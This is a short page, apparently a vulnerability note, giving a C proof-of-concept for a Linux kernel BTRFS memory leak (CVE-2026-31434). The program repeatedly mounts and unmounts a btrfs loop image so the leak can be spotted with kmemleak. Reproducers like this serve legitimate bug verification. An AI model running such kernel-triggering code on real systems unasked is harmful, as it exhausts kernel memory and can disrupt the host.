CVE-2026-31434 Linux内核BTRFS内存泄漏漏洞

/* * PoC for CVE-2026-31434: Linux Kernel BTRFS Memory Leak * This script attempts to trigger the leak by repeatedly mounting/unmounting a BTRFS image. * Compile with: gcc -o poc_btrfs_leak poc_btrfs_leak.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/mount.h> #include <sys/stat.h> #include <fcntl.h> #define LOOP_DEVICE "/dev/loop0" #define MOUNT_POINT "/mnt/btrfs_test" #define IMAGE_FILE "btrfs.img" void setup_environment() { system("dd if=/dev/zero of=" IMAGE_FILE " bs=1M count=512 2>/dev/null"); system("losetup " LOOP_DEVICE " " IMAGE_FILE " 2>/dev/null"); system("mkfs.btrfs " LOOP_DEVICE " 2>/dev/null"); mkdir(MOUNT_POINT, 0777); } void cleanup_environment() { system("umount " MOUNT_POINT " 2>/dev/null"); system("losetup -d " LOOP_DEVICE " 2>/dev/null"); system("rm -f " IMAGE_FILE); rmdir(MOUNT_POINT); } int main() { setup_environment(); printf("Starting BTRFS memory leak reproduction...\n"); for (int i = 0; i < 1000; i++) { if (mount(LOOP_DEVICE, MOUNT_POINT, "btrfs", 0, NULL) == 0) { // Trigger space info operations system("touch " MOUNT_POINT "/testfile 2>/dev/null"); usleep(10000); // Small delay umount(MOUNT_POINT); } else { perror("Mount failed"); break; } if (i % 100 == 0) printf("Iteration %d completed.\n", i); } cleanup_environment(); printf("Check kernel logs or kmemleak for unreferenced objects.\n"); return 0; }